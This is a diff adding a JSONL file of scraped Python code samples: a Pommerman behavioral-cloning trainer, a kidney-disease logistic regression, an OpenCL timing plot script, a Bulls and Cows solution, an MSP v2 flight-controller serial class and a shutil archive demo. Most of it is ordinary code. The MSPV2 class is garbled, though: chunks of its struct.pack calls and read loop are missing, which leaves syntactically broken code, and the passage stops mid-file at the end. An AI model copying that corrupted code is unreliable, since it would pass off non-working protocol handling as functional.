diff --git "a/5402.jsonl" "b/5402.jsonl" new file mode 100644--- /dev/null +++ "b/5402.jsonl" @@ -0,0 +1,736 @@ +{"seq_id":"317361232","text":"'''\nTrain script for behavioral cloning\n(using saved trajectories)\n\nThe --use-value-loss setting makes it so that a value predicting network\nis also trained with supervision (to avoid policy overwritting by\nvalue loss gradients when fine-tuning using PPO).\n\nThe --stop-grads-value setting stops the gradients from the value loss in going\nthrough the rest of the shared params of the network (to avoid changing the\npolicy since we want the policy to imitate the trajectory as well as possible).\n\nThe --add-nonlin-valhead addsa a nonlinearity in the valuehead so that it has\nmore expressive power.\n\nAll the above args default to false.\n\nExample Run:\n\nGrid:\npython train_bc.py --traj-directory-bc /home/roberta/playground/trajectories/grid/4maps/ \\\n--run-name a --how-train bc --minibatch-size 160 --num-stack 1 \\\n--config GridWalls-v4 --num-processes 1 --log-interval 100 \\\n--num-channels 5 --model-str GridCNNPolicy --save-interval 1000 --log-dir ./logs/bc\n\nPomme:\npython train_bc.py --traj-directory-bc /home/roberta/playground/trajectories/pomme/4maps \\\n--run-name a --how-train bc --minibatch-size 1753 \\\n--config PommeFFAEasy-v0 --num-processes 4 \\\n--num-stack 1 --num-channels 19 --log-interval 100 --lr 0.001 \\\n--model-str PommeCNNPolicySmall --save-interval 1000 --log-dir ./logs/bc\n'''\n\nfrom collections import defaultdict\nimport os\nimport random\nimport time\n\nimport numpy as np\nfrom tensorboardX import SummaryWriter\nimport torch\nfrom torch.autograd import Variable\n\nfrom arguments import get_args\nimport dagger_agent\nimport envs as env_helpers\nimport networks\nimport utils\nimport json\n\n\ndef train():\n os.environ['OMP_NUM_THREADS'] = '1'\n\n args = get_args()\n assert(args.run_name)\n print(\"\\n###############\")\n print(\"args \", args)\n print(\"##############\\n\")\n\n if args.cuda:\n torch.cuda.empty_cache()\n\n num_training_per_episode = utils.validate_how_train(args)\n how_train, config, num_agents, num_stack, num_steps, num_processes, \\\n num_epochs, reward_sharing, batch_size, num_mini_batch = \\\n utils.get_train_vars(args, num_training_per_episode)\n num_epochs = 1000000\n\n obs_shape, action_space, character, board_size = env_helpers.get_env_info(config, num_stack)\n training_agents = utils.load_agents(\n obs_shape, action_space, num_training_per_episode, num_steps, args,\n agent_type=dagger_agent.DaggerAgent, character=character, board_size=board_size)\n\n #####\n # Logging helpers.\n #####\n traj_directory_name = os.path.basename(os.path.normpath(args.traj_directory_bc))\n suffix = \"{}.{}.{}.{}.nc{}.lr{}.mb{}.nopt{}.traj-{}.value{}.seed{}.pt\" \\\n .format(args.run_name, args.how_train, config, args.model_str,\n args.num_channels, args.lr, args.minibatch_size,\n args.dagger_epoch, traj_directory_name, args.use_value_loss,\n args.seed)\n\n log_dir = os.path.join(args.log_dir, suffix)\n if not os.path.exists(log_dir):\n os.makedirs(log_dir)\n\n writer = SummaryWriter(log_dir)\n\n\n torch.manual_seed(args.seed)\n if args.cuda:\n torch.cuda.manual_seed(args.seed)\n\n envs = env_helpers.make_train_envs(\n config, how_train, args.seed, args.game_state_file, training_agents,\n num_stack, num_processes, state_directory=args.state_directory,\n state_directory_distribution=args.state_directory_distribution,\n step_loss=args.step_loss, bomb_reward=args.bomb_reward,\n item_reward=args.item_reward)\n\n if config == 'GridWalls-v4':\n how_train_eval = 'grid'\n else:\n how_train_eval = 'simple'\n eval_envs = env_helpers.make_train_envs(\n config, how_train_eval, args.seed, args.game_state_file, training_agents,\n num_stack, num_processes, state_directory=args.state_directory,\n state_directory_distribution=args.state_directory_distribution,\n step_loss=args.step_loss, bomb_reward=args.bomb_reward,\n item_reward=args.item_reward)\n eval_envs.reset()\n\n\n\n #################################################\n # Load Trajectories (State, Action)-Pairs from File\n #################################################\n\n is_grid = 'Grid' in config\n states, actions, files, experts = envs.get_states_actions_json(\n args.traj_directory_bc,\n is_grid, args.use_second_place)\n expert_states = states[0]\n expert_actions = actions[0]\n expert_files = files[0]\n expert_id_lst = experts[0]\n\n agent_obs_lst = []\n if args.num_stack == 1:\n for s in expert_states:\n agent_obs_lst.append(torch.from_numpy(envs.observation(s)[0]).squeeze(0).float())\n elif args.num_stack == 2:\n curr_state = torch.from_numpy(envs.observation(expert_states[0])[0]).squeeze(0).float()\n agent_obs_lst.append(torch.cat((curr_state, curr_state), 0))\n for i in range(1, len(expert_states)):\n prev_state = torch.from_numpy(envs.observation(expert_states[i - 1])[0]).squeeze(0).float()\n curr_state = torch.from_numpy(envs.observation(expert_states[i])[0]).squeeze(0).float()\n agent_obs_lst.append(torch.cat((prev_state, curr_state), 0))\n else:\n raise ValueError(\"Only works with num_stack 1 or 2.\")\n\n init_states = envs.get_init_states_json(args.traj_directory_bc)[0]\n\n init_states_lst = []\n for s in init_states:\n init_states_lst.append(torch.from_numpy(envs.observation(s)[0]).float())\n if args.cuda:\n init_states_lst = [s.cuda() for s in init_states_lst]\n\n print(\"\\n# states: {}\\n\".format(len(agent_obs_lst)))\n\n # TODO: check whether it matterswhat id you have here cause it might? for Pomme eval at least?\n agent = training_agents[0]\n\n start_epoch = agent.num_epoch\n total_steps = agent.total_steps\n num_episodes = agent.num_episodes\n\n if args.cuda:\n agent.cuda()\n\n\n #####\n # Get expert actions\n #####\n expert_actions_lst = []\n for i in range(len(expert_actions)):\n action = expert_actions[i]\n expert_id = expert_id_lst[i]\n x = torch.LongTensor(1,1)\n x[0][0] = int(action[expert_id])\n expert_actions_lst.append(x)\n\n indices = np.arange(0, len(agent_obs_lst)).tolist()\n\n dummy_states = torch.zeros(1,1)\n dummy_masks = torch.zeros(1,1)\n if args.cuda:\n dummy_states = dummy_states.cuda()\n dummy_masks = dummy_masks.cuda()\n\n dummy_states_eval = torch.zeros(1,1)\n dummy_masks_eval = torch.zeros(1,1)\n if args.cuda:\n dummy_states_eval = dummy_states_eval.cuda()\n dummy_masks_eval = dummy_masks_eval.cuda()\n\n episode_rewards = torch.zeros([num_training_per_episode,\n num_processes, 1])\n final_rewards = torch.zeros([num_training_per_episode,\n num_processes, 1])\n cross_entropy_loss = torch.nn.CrossEntropyLoss()\n\n returns = [0 for k in agent_obs_lst]\n\n\n #################################################\n # Train Policy using Behavioral Cloning\n #################################################\n for num_epoch in range(start_epoch, num_epochs):\n action_losses = []\n value_losses = []\n num_correct_actions = 0\n random.shuffle(indices)\n agent.set_train()\n\n for i in range(0, len(agent_obs_lst), args.minibatch_size):\n indices_minibatch = indices[i:i + args.minibatch_size]\n agent_obs_mb = [agent_obs_lst[k] for k in indices_minibatch]\n expert_actions_mb = [expert_actions_lst[k] for k in indices_minibatch]\n returns_mb = [returns[k] for k in indices_minibatch]\n\n agent_obs_mb = torch.stack(agent_obs_mb, 0)\n expert_actions_mb = torch.from_numpy(np.array(expert_actions_mb))\n returns_mb = torch.from_numpy(np.array(returns_mb)).float()\n\n if args.cuda:\n agent_obs_mb = agent_obs_mb.cuda()\n expert_actions_mb = expert_actions_mb.cuda()\n returns_mb = returns_mb.cuda()\n\n values, action_scores = agent.get_values_action_scores(\n Variable(agent_obs_mb),\n Variable(dummy_states).detach(),\n Variable(dummy_masks).detach())\n action_loss = cross_entropy_loss(\n action_scores, Variable(expert_actions_mb))\n value_loss = (Variable(returns_mb) - values) \\\n .pow(2).mean()\n\n agent.optimize(action_loss, value_loss, args.max_grad_norm, \\\n use_value_loss=args.use_value_loss,\n stop_grads_value=args.stop_grads_value,\n add_nonlin=args.add_nonlin_valhead)\n\n action_losses.append(action_loss.data[0])\n value_losses.append(value_loss.data[0])\n\n ###############\n # Measure percentage of correct actions (identical to x)\n ###############\n result_train = agent.act_on_data(\n Variable(agent_obs_mb, volatile=True),\n Variable(dummy_states, volatile=True),\n Variable(dummy_masks, volatile=True),\n deterministic=True)\n _, actions_train, _, _, _, _ = result_train\n cpu_actions_train = actions_train.data.squeeze(1).cpu().numpy()\n expert_actions_train = expert_actions_mb.cpu().numpy()\n\n num_correct_actions += sum(sum([cpu_actions_train == expert_actions_train]))\n\n percent_correct = num_correct_actions / len(agent_obs_lst)\n mean_action_loss = np.sum(action_losses) / len(agent_obs_lst)\n mean_value_loss = np.sum(value_losses) / len(agent_obs_lst)\n\n if utils.is_save_epoch(num_epoch, start_epoch, args.save_interval):\n utils.save_agents(\"bc-\", num_epoch, training_agents,\n total_steps, num_episodes, args)\n\n if num_epoch % args.log_interval == 0:\n print(\"\\n*********************************\")\n print(\"EPOCH {}:\".format(num_epoch))\n print(\"% correct action \", percent_correct)\n print(\"action loss \", mean_action_loss)\n print(\"value loss \", mean_value_loss)\n print(\"**********************************\\n\")\n\n utils.log_to_tensorboard_bc(writer, num_epoch, percent_correct,\n mean_action_loss, mean_value_loss)\n\n if num_epoch % args.save_interval == 0 and percent_correct == 1.0:\n break\n\n #################################################\n # Estimate Value Function Using Current Policy\n #################################################\n if args.use_value_loss:\n nmaps = 0\n returns = []\n for k in range(len(expert_files)):\n state_file = expert_files[k]\n agent = training_agents[expert_id_lst[k]]\n nmaps += 1\n running_num_episodes = 0\n cumulative_reward = 0\n success_rate = 0\n state_returns = []\n for j in range(args.num_eps_eval):\n state_eval = eval_envs.reset_state_file(state_file)\n if 'Grid' in config:\n obs_eval = torch.from_numpy(eval_envs.observation(state_eval[0])[0]).float()\n else:\n init_state = torch.from_numpy(eval_envs.observation(state_eval[0])[0]).squeeze(0).float()\n obs_eval = torch.cat((init_state, init_state), 0).unsqueeze(0).float()\n if args.cuda:\n obs_eval = obs_eval.cuda()\n done_eval = False\n current_ep_len = 0\n rewards = []\n while not done_eval:\n # if 'Pomme' in config:\n # prev_obs = obs_eval[0][args.num_channels:].unsqueeze(0)\n result_eval = agent.act_on_data(\n Variable(obs_eval, volatile=True),\n Variable(dummy_states_eval, volatile=True),\n Variable(dummy_masks_eval, volatile=True),\n deterministic=True)\n _, actions_eval, _, _, _, _ = result_eval\n cpu_actions_eval = actions_eval.data.squeeze(1).cpu().numpy()\n cpu_actions_agents_eval = cpu_actions_eval\n\n # import pdb; pdb.set_trace()\n obs_eval, reward_eval, done_eval, info_eval = eval_envs.step(cpu_actions_agents_eval)\n # if 'Grid' in config:\n # obs_eval = torch.from_numpy(new_obs_eval.reshape(*obs_shape)).float().unsqueeze(0)\n # else:\n # new_obs_eval = torch.from_numpy(new_obs_eval.reshape(*obs_shape)).float().unsqueeze(0)\n # obs_eval = torch.cat((prev_obs, new_obs_eval), 0)\n obs_eval = torch.from_numpy(obs_eval.reshape(*obs_shape)).float().unsqueeze(0)\n if args.cuda:\n obs_eval = obs_eval.cuda()\n rewards.append(reward_eval)\n\n running_num_episodes += sum([1 if done_ else 0\n for done_ in done_eval])\n success_rate += sum([1 if x else 0 for x in\n [(done_eval.squeeze() == True) & \\\n (reward_eval.squeeze() > 0)] ])\n masks = torch.FloatTensor([[0.0]*num_training_per_episode if done_ \\\n else [1.0]*num_training_per_episode\n for done_ in done_eval])\n reward_eval = utils.torch_numpy_stack(reward_eval, False) \\\n .transpose(0, 1)\n episode_rewards += reward_eval[:, :, None]\n final_rewards *= masks\n final_rewards += (1 - masks) * episode_rewards\n episode_rewards *= masks\n final_reward_arr = np.array(final_rewards.squeeze(0))\n cumulative_reward += final_reward_arr[done_eval.squeeze() == True].sum()\n\n # compute return for this episode\n for step in range(len(rewards) - 2, 0, -1):\n next_return = rewards[step+1]\n future_value = float(next_return * args.gamma)\n rewards[step] += future_value\n\n # save the return for this episode (corresp to state_file)\n state_returns.append(rewards[0])\n\n # take the mean over all returns from state_file\n returns.append(np.mean(state_returns))\n cumulative_reward = 1.0 * cumulative_reward / args.num_eps_eval\n success_rate = 1.0 * success_rate / args.num_eps_eval\n\n # if num_epoch % args.save_interval == 0:\n # print(\"###########\")\n # print(\"Epoch {}, map {}: \\n success rate {} \" \\\n # \"mean total reward {} \" \\\n # .format(num_epoch, nmaps, success_rate, cumulative_reward))\n # print(\"###########\\n\")\n # utils.log_to_tensorboard_bc(\n # writer, num_epoch, total_steps, np.mean(action_losses),\n # cumulative_reward, success_rate, terminal_reward,\n # np.mean(value_losses), epochs_per_sec, steps_per_sec,\n # agent_mean_act_prob, expert_mean_act_prob)\n\n writer.close()\n\nif __name__ == \"__main__\":\n train()\n","sub_path":"pommerman/research/train_bc.py","file_name":"train_bc.py","file_ext":"py","file_size_in_byte":16016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"274991823","text":"\"\"\"\nCreated on Sat May 5 15:16:18 2018\n\n@author: KaranJaisingh\n\"\"\"\n\n# Declare imports used in program\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom statistics import median\n\n# Import the datasets and separate them into feature and output matrices\ndataset = pd.read_csv('ckd-dataset.csv')\nX = dataset.iloc[:, 0:24].values\ny = dataset.iloc[:, 24].values\n\n# Check whether each piece of data is in a valid correct data type\ndef is_float(input):\n try:\n num = float(input)\n except ValueError:\n return False\n return True\n\n# Change the string values in the dataset into numeric representations\nfor i in range(0,399):\n if y[i] == 'ckd':\n y[i] = 1\n else:\n y[i] = 0\ny = y.astype(int)\n\nfor a in range(0, 399):\n if X[a][5] == 'normal':\n X[a][5] = 0\n if X[a][5] == 'abnormal':\n X[a][5] = 1\n \nfor a in range(0, 399):\n if X[a][6] == 'normal':\n X[a][6] = 0\n if X[a][6] == 'abnormal':\n X[a][6] = 1\n \nfor a in range(0, 399):\n if X[a][7] == 'notpresent':\n X[a][7] = 0\n if X[a][7] == 'present':\n X[a][7] = 1\n \nfor a in range(0, 399):\n if X[a][8] == 'notpresent':\n X[a][8] = 0\n if X[a][8] == 'present':\n X[a][8] = 1\n \nfor a in range(0, 399):\n for b in range(18, 24):\n if X[a][b] == 'yes' or X[a][b] == 'good':\n X[a][b] = 0\n if X[a][b] == 'no' or X[a][b] == 'poor':\n X[a][b] = 1\n \nfor a in range(0,399):\n for b in range(0, 24):\n if(isinstance(X[a][b], int)):\n X[a][b] = float(X[a][b])\n elif(isinstance(X[a][b], str)):\n if(is_float(X[a][b])):\n X[a][b] = float(X[a][b])\n \ntotals = [0] * 24\nadded = [0] * 24 \nfor a in range(0, 399):\n for b in range(0, 24):\n if(isinstance(X[a][b], float)):\n totals[b] += X[a][b]\n added[b] += 1\n \naverages = [0] * 24 \nfor a in range(0, 24):\n averages[a] = totals[a] / added[a]\n \nc = 0\nfor a in range(0, 399):\n for b in range(0, 24):\n if(isinstance(X[a][b], float) == 0):\n X[a][b] = averages[b]\n c += 1\n \n# Convert all features to a Float data type\nX = X.astype(float)\n\n# Find the features that have the best correlation with the output class\nimport statsmodels.formula.api as sm\nX = np.append(arr = np.ones((399,1)).astype(int), values = X, axis = 1)\nX_opt = X[:, [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]]\nregressor_OLS = sm.OLS(endog = y, exog = X_opt).fit()\nregressor_OLS.summary()\n\n# Select the feature dataset to hold just two features from the dataset\nX_small = X[:, [15, 16]]\nX = X_small\n\n# Use a built-in library to separate the matrices into separate training and testing datasets for both feature and output matrices \nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.25)\n\nimport seaborn as sns\nfrom sklearn import datasets\n\nplt.figure(figsize=(12, 8))\nplt.scatter(X[y == 0][:, 0], X[y == 0][:, 1], color='b', label='0')\nplt.scatter(X[y == 1][:, 0], X[y == 1][:, 1], color='r', label='1')\nplt.title('Logistic Regression (Dataset)')\nplt.xlabel('Haemoglobin (grams)')\nplt.ylabel('Packed Cell Volume')\nplt.legend(loc=2, fancybox=True, framealpha=1, frameon=True);\n\nclass LogisticRegression:\n def __init__(self, alpha=0.01, iters=1000, fit_offset=True, verbose=False):\n self.alpha = alpha\n self.iters = iters\n self.fit_offset = fit_offset\n self.verbose = verbose\n \n def __add_intercept(self, X):\n intercept = np.ones((X.shape[0], 1))\n return np.concatenate((intercept, X), axis=1)\n \n def __sigmoid(self, z):\n return 1 / (1 + np.exp(-z))\n \n def __loss(self, h, y):\n return (-y * np.log(h) - (1 - y) * np.log(1 - h)).mean()\n \n def fit(self, X, y):\n if self.fit_offset:\n X = self.__add_intercept(X)\n \n self.theta = np.zeros(X.shape[1])\n \n for i in range(self.iters):\n z = np.dot(X, self.theta)\n h = self.__sigmoid(z)\n gradient = np.dot(X.T, (h - y)) / y.size\n self.theta -= self.alpha * gradient\n \n z = np.dot(X, self.theta)\n h = self.__sigmoid(z)\n loss = self.__loss(h, y)\n \n if(self.verbose ==True and i % 100 == 0):\n print(f'loss: {loss} \\t')\n \n def get_predicted_prob(self, X):\n if self.fit_offset:\n X = self.__add_intercept(X)\n \n return self.__sigmoid(np.dot(X, self.theta))\n \n def get_predicted_class(self, X):\n return self.get_predicted_prob(X).round()\n \n\nmodel = LogisticRegression(alpha=0.1, iters=100000)\n\nmodel.fit(X_train, y_train)\n\npreds = model.get_predicted_class(X_test)\n\nfrom sklearn.metrics import accuracy_score\naccuracy_score(y_test, preds)\n\nfrom sklearn.metrics import confusion_matrix\nconfusion_matrix(y_test, preds)\n\nfrom sklearn.metrics import f1_score\nf1_score(y_test, preds, average='binary')\n\nfrom matplotlib.colors import ListedColormap\nX_set, y_set = X_test, y_test\nX1, X2 = np.meshgrid(np.arange(start = X_set[:, 0].min() - 1, stop = X_set[:, 0].max() + 1, step = 0.01),\n np.arange(start = X_set[:, 1].min() - 1, stop = X_set[:, 1].max() + 1, step = 0.01))\nplt.contourf(X1, X2, model.get_predicted_class(np.array([X1.ravel(), X2.ravel()]).T).reshape(X1.shape),\n alpha = 0.75, cmap = ListedColormap(('red', 'green')))\nplt.xlim(X1.min(), X1.max())\nplt.ylim(X2.min(), X2.max())\nfor i, j in enumerate(np.unique(y_set)):\n plt.scatter(X_set[y_set == j, 0], X_set[y_set == j, 1],\n c = ListedColormap(('red', 'green'))(i), label = j)\nplt.title('Logistic Regression (Test set)')\nplt.xlabel('Haemoglobin (grams)')\nplt.ylabel('Packed Cell Volume')\nplt.legend()\nplt.show()\n\n\"\"\"from sklearn.linear_model import LogisticRegression\nclassifier = LogisticRegression()\nclassifier.fit(X_train, y_train)\n\ny_pred = classifier.predict(X_test)\n\nfrom sklearn.metrics import confusion_matrix\ncm = confusion_matrix(y_test, y_pred)\n\nfrom sklearn.metrics import f1_score\nf1_score(y_test, y_pred, average='binary')\"\"\" \n","sub_path":"logistic-regression-2var.py","file_name":"logistic-regression-2var.py","file_ext":"py","file_size_in_byte":6294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"117831224","text":"\"\"\"Grafico con la comparacion de diferentes tpb usando la implementacion con OPENCL\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport csv\n\npath = \"Data/\"\n\nif __name__ == \"__main__\":\n size = []\n time32 = []\n time64 = []\n time128 = []\n time256 = []\n time512 = []\n time1024 = []\n\n size3 = []\n time9 = []\n time27 = []\n time81 = []\n time243 = []\n time729 = []\n\n with open(path + 'opencl_32tpb.csv', mode='r') as csv_file:\n csv_reader = csv.DictReader(csv_file)\n line_count = 0\n for row in csv_reader:\n size += [ int(row['width']) * int(row['height']) ]\n tmp_time = float(row['time']) * 0.001\n time32 += [tmp_time / float(row['iter']) ]\n print(size[-1], time32[-1])\n\n with open(path + 'opencl_64tpb.csv', mode='r') as csv_file:\n csv_reader = csv.DictReader(csv_file)\n line_count = 0\n for row in csv_reader:\n tmp_size = int(row['width']) * int(row['height']) \n tmp_time = float(row['time']) * 0.001\n time64 += [tmp_time / float(row['iter']) ]\n print(tmp_size, time64[-1])\n\n with open(path + 'opencl_128tpb.csv', mode='r') as csv_file:\n csv_reader = csv.DictReader(csv_file)\n line_count = 0\n for row in csv_reader:\n tmp_size = int(row['width']) * int(row['height']) \n tmp_time = float(row['time']) * 0.001\n time128 += [tmp_time / float(row['iter']) ]\n print(tmp_size, time128[-1])\n\n with open(path + 'opencl_256tpb.csv', mode='r') as csv_file:\n csv_reader = csv.DictReader(csv_file)\n line_count = 0\n for row in csv_reader:\n tmp_size = int(row['width']) * int(row['height']) \n tmp_time = float(row['time']) * 0.001\n time256 += [tmp_time / float(row['iter']) ]\n print(tmp_size, time256[-1])\n\n with open(path + 'opencl_512tpb.csv', mode='r') as csv_file:\n csv_reader = csv.DictReader(csv_file)\n line_count = 0\n for row in csv_reader:\n tmp_size = int(row['width']) * int(row['height']) \n tmp_time = float(row['time']) * 0.001\n time512 += [tmp_time / float(row['iter']) ]\n print(tmp_size, time512[-1])\n\n with open(path + 'opencl_1024tpb.csv', mode='r') as csv_file:\n csv_reader = csv.DictReader(csv_file)\n line_count = 0\n for row in csv_reader:\n tmp_size = int(row['width']) * int(row['height']) \n tmp_time = float(row['time']) * 0.001\n time1024 += [tmp_time / float(row['iter']) ]\n print(tmp_size, time1024[-1])\n\n # Valores potencias de 3\n\n with open(path + 'opencl_9tpb.csv', mode='r') as csv_file:\n csv_reader = csv.DictReader(csv_file)\n line_count = 0\n for row in csv_reader:\n size3 += [ int(row['width']) * int(row['height']) ]\n tmp_time = float(row['time']) * 0.001\n time9 += [tmp_time / float(row['iter']) ]\n print(size3[-1], time9[-1])\n\n with open(path + 'opencl_27tpb.csv', mode='r') as csv_file:\n csv_reader = csv.DictReader(csv_file)\n line_count = 0\n for row in csv_reader:\n tmp_size = int(row['width']) * int(row['height']) \n tmp_time = float(row['time']) * 0.001\n time27 += [tmp_time / float(row['iter']) ]\n print(tmp_size, time27[-1])\n\n with open(path + 'opencl_81tpb.csv', mode='r') as csv_file:\n csv_reader = csv.DictReader(csv_file)\n line_count = 0\n for row in csv_reader:\n tmp_size = int(row['width']) * int(row['height']) \n tmp_time = float(row['time']) * 0.001\n time81 += [tmp_time / float(row['iter']) ]\n print(tmp_size, time81[-1])\n\n with open(path + 'opencl_243tpb.csv', mode='r') as csv_file:\n csv_reader = csv.DictReader(csv_file)\n line_count = 0\n for row in csv_reader:\n tmp_size = int(row['width']) * int(row['height']) \n tmp_time = float(row['time']) * 0.001\n time243 += [tmp_time / float(row['iter']) ]\n print(tmp_size, time243[-1])\n\n with open(path + 'opencl_729tpb.csv', mode='r') as csv_file:\n csv_reader = csv.DictReader(csv_file)\n line_count = 0\n for row in csv_reader:\n tmp_size = int(row['width']) * int(row['height']) \n tmp_time = float(row['time']) * 0.001\n time729 += [tmp_time / float(row['iter']) ]\n print(tmp_size, time729[-1])\n\n n_size = np.array(size)\n n_time32 = np.array(time32) \n n_time64 = np.array(time64) \n n_time128 = np.array(time128) \n n_time256 = np.array(time256) \n n_time512 = np.array(time512) \n n_time1024 = np.array(time1024) \n\n n_size3 = np.array(size3)\n n_time9 = np.array(time9) \n n_time27 = np.array(time27) \n n_time81 = np.array(time81) \n n_time243 = np.array(time243) \n n_time729 = np.array(time729)\n\n n_eval32 = n_size / n_time32 / 1000000\n n_eval64 = n_size / n_time64 / 1000000\n n_eval128 = n_size / n_time128 / 1000000\n n_eval256 = n_size / n_time256 / 1000000\n n_eval512 = n_size / n_time512 / 1000000\n n_eval1024 = n_size / n_time1024 / 1000000\n\n n_eval9 = n_size3 / n_time9 / 1000000\n n_eval27 = n_size3 / n_time27 / 1000000\n n_eval81 = n_size3 / n_time81 / 1000000\n n_eval243 = n_size3 / n_time243 / 1000000\n n_eval729 = n_size3 / n_time729 / 1000000\n\n fig, ax = plt.subplots(figsize=(10,7))\n \n ax.set_xscale('log')\n\n line32 = ax.plot(n_size, n_eval32, color='#fabed4', marker='^', label='32 tpb')\n line64 = ax.plot(n_size, n_eval64, color='#ffd8b1', marker='^', label='64 tpb')\n line128 = ax.plot(n_size, n_eval128, color='#a9a9a9', marker='^', label='128 tpb')\n line256 = ax.plot(n_size, n_eval256, color='#aaffc3', marker='^', label='256 tpb')\n line512 = ax.plot(n_size, n_eval512, color='#dcbeff', marker='^', label='512 tpb')\n line1024 = ax.plot(n_size, n_eval1024, color='#ffe119',marker='^', label='1024 tpb')\n\n line9 = ax.plot(n_size3, n_eval9, color='#f032e6', marker='o', label='9 tpb')\n line27 = ax.plot(n_size3, n_eval27, color='#469990', marker='o', label='27 tpb')\n line81 = ax.plot(n_size3, n_eval81, color='#000075', marker='o', label='81 tpb')\n line243 = ax.plot(n_size3, n_eval243, color='#9A6324', marker='o', label='243 tpb')\n line729 = ax.plot(n_size3, n_eval729, color='#e6194B', marker='o', label='729 tpb')\n\n ax.set(xlabel='Tamaño del mundo [Células]', ylabel='Células evaluadas por segundo [Millones]',\n title='Comparación de células evaluadas por segundo entre implementaciones\\ncon threads por bloque (tpb) no múltiplo de 32 para OpenCL')\n ax.grid()\n\n ax.legend()\n fig.savefig(\"images/OpenCL_non32tpb.png\")\n plt.show()","sub_path":"GraphsGenerator/OpenCL_non32tpb.py","file_name":"OpenCL_non32tpb.py","file_ext":"py","file_size_in_byte":6850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"168903731","text":"'''\n299. Bulls and Cows\n\nYou are playing the following Bulls and Cows game with your friend: You write down a number and ask your \nfriend to guess what the number is. Each time your friend makes a guess, you provide a hint that indicates \nhow many digits in said guess match your secret number exactly in both digit and position (called \"bulls\") \nand how many digits match the secret number but locate in the wrong position (called \"cows\"). Your friend \nwill use successive guesses and hints to eventually derive the secret number.\n\nFor example:\n\nSecret number: \"1807\"\nFriend's guess: \"7810\"\nHint: 1 bull and 3 cows. (The bull is 8, the cows are 0, 1 and 7.)\nWrite a function to return a hint according to the secret number and friend's guess, use A to indicate the \nbulls and B to indicate the cows. In the above example, your function should return \"1A3B\".\n\nPlease note that both secret number and friend's guess may contain duplicate digits, for example:\n\nSecret number: \"1123\"\nFriend's guess: \"0111\"\nIn this case, the 1st 1 in friend's guess is a bull, the 2nd or 3rd 1 is a cow, and your function should return \"1A1B\".\nYou may assume that the secret number and your friend's guess only contain digits, and their lengths are always equal.\n'''\n\nclass Solution(object):\n def getHint(self, secret, guess):\n \"\"\"\n :type secret: str\n :type guess: str\n :rtype: str\n \"\"\"\n sec_arr = list(secret)\n gus_arr = list(guess)\n \n lng = len(sec_arr)\n bulls = 0\n cows = 0\n for i in range(lng):\n if sec_arr[i] == gus_arr[i]:\n bulls+=1\n sec_arr[i] = -1\n gus_arr[i] = -1\n \n map = {}\n for n in sec_arr:\n if n != -1 and n in map:\n map[n] +=1\n else:\n map[n] = 1\n \n for n in gus_arr:\n if n != -1 and n in map and map[n] >0:\n map[n] -=1\n cows+=1\n \n return str(bulls) + 'A' + str(cows) + 'B'\n \n \n \n \n \n ","sub_path":"299_BullsandCows.py","file_name":"299_BullsandCows.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"8034683","text":"#!/usr/bin/env python3\nimport serial\nimport time\nimport struct\n\nclass MSPV2():\n IDENT = 100\n STATUS = 101\n RAW_IMU = 102\n SERVO = 103\n MOTOR = 104\n RC = 105\n RAW_GPS = 106\n COMP_GPS = 107\n ATTITUDE = 108\n ALTITUDE = 109\n ANALOG = 110\n RC_TUNING = 111\n PID = 112\n BOX = 113\n MISC = 114\n MOTOR_PINS = 115\n BOXNAMES = 116\n PIDNAMES = 117\n WP = 118\n BOXIDS = 119\n RC_RAW_IMU = 121\n SET_RAW_RC = 200\n SET_RAW_GPS = 201\n SET_PID = 202\n SET_BOX = 203\n SET_RC_TUNING = 204\n ACC_CALIBRATION = 205\n MAG_CALIBRATION = 206\n SET_MISC = 207\n RESET_CONF = 208\n SET_WP = 209\n SWITCH_RC_SERIAL = 210\n IS_SERIAL = 211\n DEBUG = 254\n SENSOR_ALIGNMENT = 126\n\n def __init__(self, port):\n self.uart = port\n self.begining = struct.pack('<3c', *['$'.encode(\"utf-8\"), 'X'.encode(\"utf-8\"), '<'.encode(\"utf-8\")])\n self.end_sign = ''.encode(\"utf-8\")\n\n def _crc8_dvb_s2(self, crc, a):\n crc ^= a\n for i in range(8):\n if (crc & 0x80):\n crc = ((crc << 1) ^ 0xD5) % 256\n else:\n crc = (crc << 1) % 256\n return crc\n def send_comand(self, data_size, code, data):\n len_data = len(data)\n packet = [0, code, data_size] + data\n\n byte_packet = struct.pack('= 5:\n return []\n byte = self.uart.read()\n if byte == '$'.encode(\"utf-8\"):\n break\n repeat += 1\n\n data = [byte]\n end = ''.encode(\"utf-8\")\n while True:\n byte = self.uart.read()\n if byte is end:\n break\n data.append(byte)\n return data\n\n def unpack_packet(self, data, form):\n if len(data) < 1:\n return []\n\n checksum = 0\n for i in data[3:-1]:\n i = struct.unpack(' 700:\n # a = 0\n #MSP.set_raw_rc([1500,1500,1500,1000 + a])\n print('========================')\n rc = MSP.read_rc()\n print(rc)\n #a += 1\n","sub_path":"Kotyarin_brain/MSPV2.py","file_name":"MSPV2.py","file_ext":"py","file_size_in_byte":5398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"535874649","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport shutil\nimport tempfile\nimport pathlib\n\n\ndef main():\n with tempfile.TemporaryDirectory() as tempdir:\n base_dir = os.path.split(os.path.abspath(os.path.dirname(__file__)))[-1]\n source = os.path.join(tempdir, \"example\")\n shutil.make_archive(\n source,\n format=\"gztar\",\n root_dir=\"..\",\n base_dir=base_dir,\n )\n\n print(\"Unpacking archive:\")\n shutil.unpack_archive(\n source + \".tar.gz\",\n extract_dir=tempdir,\n )\n\n print(\"\\nCreated:\")\n prefix_len = len(tempdir) + 1\n for extracted in pathlib.Path(tempdir).rglob(\"*\"):\n file = str(extracted)[prefix_len:]\n if file == \"example.tar.gz\":\n continue\n print(file)\n\n\nif 